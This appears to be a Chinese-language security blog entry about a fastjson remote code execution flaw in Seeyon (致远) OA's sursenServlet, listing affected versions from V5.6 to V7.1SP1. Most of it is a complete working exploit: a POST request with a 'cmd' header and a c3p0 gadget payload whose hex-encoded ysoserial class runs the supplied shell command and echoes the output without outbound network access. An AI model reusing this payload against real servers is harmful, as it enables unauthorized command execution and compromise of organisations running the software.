致远OA sursenServlet RCE不出网利用

漏洞概述

部分版本使用了有漏洞的fastjson组件，导致远程代码执行漏洞。

影响范围

  • 致远 OA V7.1、V7.1SP1
  • 致远 OA V7.0、V7.0SP1、V7.0SP2、V7.0SP3
  • 致远 OA V6.1、V6.1SP1、V6.1SP2
  • 致远 V6.0及V6.0SP1
  • 致远 V5.6及V5.6SP1

漏洞利用

这个RCE很早就公开了，这里记录下实战场景中不出网的利用Payload。

POST /seeyon/sursenServlet
Content-Type: application/x-www-form-urlencoded
cmd: whoami

sursenData={"name":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"zz":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B7870000000027372002B6F72672E6170616368652E636F6D6D6F6E732E6265616E7574696C732E4265616E436F6D70617261746F72CF8E0182FE4EF17E0200024C000A636F6D70617261746F7271007E00014C000870726F70657274797400124C6A6176612F6C616E672F537472696E673B78707372003F6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E636F6D70617261746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB13702000078707400106F757470757450726F706572746965737704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D6571007E00044C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E0020000787000001055CAFEBABE0000003301090A0003000F0701040700120100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B01000A536F7572636546696C6501000C476164676574732E6A6176610C0004000507001301003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61640100106A6176612F6C616E672F4F626A65637401001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100276F72672F6170616368652F746F6D6361742F7574696C2F6D6F64656C65722F526567697374727907001501000B676574526567697374727901004F284C6A6176612F6C616E672F4F626A6563743B4C6A6176612F6C616E672F4F626A6563743B294C6F72672F6170616368652F746F6D6361742F7574696C2F6D6F64656C65722F52656769737472793B0C001700180A0016001901000E6765744D4265616E53657276657201002028294C6A617661782F6D616E6167656D656E742F4D4265616E5365727665723B0C001B001C0A0016001D010026636F6D2E73756E2E6A6D782E6D6265616E7365727665722E4A6D784D4265616E53657276657208001F01000F6A6176612F6C616E672F436C617373070021010007666F724E616D65010025284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F436C6173733B0C002300240A0022002501000E6D6273496E746572636570746F720800270100106765744465636C617265644669656C6401002D284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F7265666C6563742F4669656C643B0C0029002A0A0022002B0100226A6176612F6C616E672F7265666C6563742F41636365737369626C654F626A65637407002D01000D73657441636365737369626C65010004285A29560C002F00300A002E00310100176A6176612F6C616E672F7265666C6563742F4669656C64070033010003676574010026284C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0C003500360A00340037010035636F6D2E73756E2E6A6D782E696E746572636570746F722E44656661756C744D4265616E536572766572496E746572636570746F7208003901000A7265706F7369746F727908003B010022636F6D2E73756E2E6A6D782E6D6265616E7365727665722E5265706F7369746F727908003D010008646F6D61696E546208003F0100116A6176612F7574696C2F486173684D6170070041010006546F6D6361740800430A00420037010008436174616C696E61080046010008656E74727953657401001128294C6A6176612F7574696C2F5365743B0C004800490A0042004A01000D6A6176612F7574696C2F53657407004C0100086974657261746F7201001628294C6A6176612F7574696C2F4974657261746F723B0C004E004F0B004D00500100126A6176612F7574696C2F4974657261746F720700520100046E65787401001428294C6A6176612F6C616E672F4F626A6563743B0C005400550B005300560100136A6176612F7574696C2F4D617024456E7472790700580100066765744B65790C005A00550B0059005B01000867657456616C75650C005D00550B0059005E010008746F537472696E6701001428294C6A6176612F6C616E672F537472696E673B0C006000610A0003006201001B747970653D476C6F62616C5265717565737450726F636573736F720800640100106A6176612F6C616E672F537472696E67070066010008656E647357697468010015284C6A6176612F6C616E672F537472696E673B295A0C006800690A0067006A01000B6E616D653D22687474702D08006C01000A737461727473576974680C006E00690A0067006F0100076861734E65787401000328295A0C007100720B00530073010023636F6D2E73756E2E6A6D782E6D6265616E7365727665722E4E616D65644F626A6563740800750100066F626A65637408007701002D6F72672E6170616368652E746F6D6361742E7574696C2E6D6F64656C65722E426173654D6F64656C4D4265616E0800790100087265736F7572636508007B0100226F72672E6170616368652E636F796F74652E5265717565737447726F7570496E666F08007D01000A70726F636573736F727308007F0100136A6176612F7574696C2F41727261794C69737407008101001D6F72672E6170616368652E636F796F74652E52657175657374496E666F0800830100037265710800850100076F732E6E616D650800870100106A6176612F6C616E672F53797374656D07008901000B67657450726F7065727479010026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E673B0C008B008C0A008A008D01000B746F4C6F776572436173650C008F00610A0067009001000377696E080092010008636F6E7461696E7301001B284C6A6176612F6C616E672F4368617253657175656E63653B295A0C009400950A0067009601000473697A650100032829490C009800990A0082009A0100152849294C6A6176612F6C616E672F4F626A6563743B0C0035009C0A0082009D0100196F72672F6170616368652F636F796F74652F5265717565737407009F010003636D640800A10100096765744865616465720C00A3008C0A00A000A401000273680800A60100022D630800A8010007636D642E6578650800AA0100022F630800AC0100116A6176612F6C616E672F52756E74696D650700AE01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C00B000B10A00AF00B201000465786563010028285B4C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C00B400B50A00AF00B60100116A6176612F6C616E672F50726F636573730700B801000E676574496E70757453747265616D01001728294C6A6176612F696F2F496E70757453747265616D3B0C00BA00BB0A00B900BC0100116A6176612F7574696C2F5363616E6E65720700BE010018284C6A6176612F696F2F496E70757453747265616D3B29560C000400C00A00BF00C10100025C610800C301000C75736544656C696D69746572010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F7574696C2F5363616E6E65723B0C00C500C60A00BF00C70100000800C901000776616C75654F66010026284C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F537472696E673B0C00CB00CC0A006700CD0C005400610A00BF00CF010006636F6E6361740C00D1008C0A006700D20A00BF0073010008676574427974657301000428295B420C00D500D60A006700D70100246F72672F6170616368652F746F6D6361742F7574696C2F6275662F427974654368756E6B0700D90A00DA000F0100087365744279746573010007285B42494929560C00DC00DD0A00DA00DE01000B676574526573706F6E736501001E28294C6F72672F6170616368652F636F796F74652F526573706F6E73653B0C00E000E10A00A000E20100037878780800E401001A6F72672F6170616368652F636F796F74652F526573706F6E73650700E6010009736574486561646572010027284C6A6176612F6C616E672F537472696E673B4C6A6176612F6C616E672F537472696E673B29560C00E800E90A00E700EA0100136A6176612F6C616E672F457863657074696F6E0700EC0100136A6176612F6C616E672F5468726F7761626C650700EE01000F7072696E74537461636B54726163650C00F000050A00EF00F10100036F75740100154C6A6176612F696F2F5072696E7453747265616D3B0C00F300F409008A00F50100136A6176612F696F2F5072696E7453747265616D0700F70100077072696E746C6E010004284929560C00F900FA0A00F800FB01001C6A617661782F6D616E6167656D656E742F4D4265616E5365727665720700FD0100135B4C6A6176612F6C616E672F537472696E673B0700FF0100136A6176612F696F2F496E70757453747265616D07010101000D537461636B4D61705461626C6501001D79736F73657269616C2F50776E6572393937383236363339353530393001001F4C79736F73657269616C2F50776E657239393738323636333935353039303B010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740701060A0107000F002100020107000000000002000100040005000100060000002F00010001000000052AB70108B10000000200070000000600010000003B00080000000C0001000000050009010500000008001400050001000600000326000600160000023EA70003014C01C0000301C00003B8001AB6001E4D1220B800261228B6002C4E2D04B600322D2CB600383A04123AB80026123CB6002C4E2D04B600322D1904B600383A04123EB800261240B6002C4E2D04B600322D1904B60038C000423A0519051244B6004501A6001A19051247B60045C00042B6004BB9005101003A06A7001719051244B60045C00042B6004BB9005101003A06A700411906B900570100C000593A071907B9005C01003A081907B9005F01003A041908B600631265B6006B9900101908B60063126DB600709A0006A70006A7000D1906B9007401009AFFBB1276B800261278B6002C4E2D04B600322D1904B600383A04127AB80026127CB6002C4E2D04B600322D1904B600383A04127EB800261280B6002C4E2D04B600322D1904B60038C000823A091284B800261286B6002C4E2D04B6003204360A1288B8008E3A0B190B01A50010190BB600911293B600979A0006A7000603360A03360C150C1909B6009BA200C02D1909150CB6009EB60038C000A03A0D190D12A2B600A53A0E190E01A5009B150A99001906BD0067590312A753590412A9535905190E53A7001606BD0067590312AB53590412AD535905190E533A0FB800B3190FB600B7B600BD3A10BB00BF591910B700C212C4B600C83A1112CA3A12A700151912B800CE1911B600D0B800CEB600D33A121911B600D49AFFE91912B600D83A13BB00DA59B700DB3A1419141913031913BEB600DF190DB600E312E51912B600EBA70009840C01A7FF3CA700163A151915B600F2B200F6110457B600FCA70003B1000100050227022A00ED00010103000000CE001403FF007C000600050700FE0700340700030700420000FC001307005302FD003707005907000302F9000209FF0077000C00050700FE07003407000307004207005300000700820107006700000202FC000201FD00430700A007006752070100FF0025001300050700FE070034070003070042070053000007008201070067010700A00700670701000701020700BF070067000011FF0031000F00050700FE070034070003070042070053000007008201070067010700A00700670000F90005FF00020002000500010700ED120002000D00000002000E000B0000000A000100020010000A00097074000450776E72707701007871007E000D78;"}}}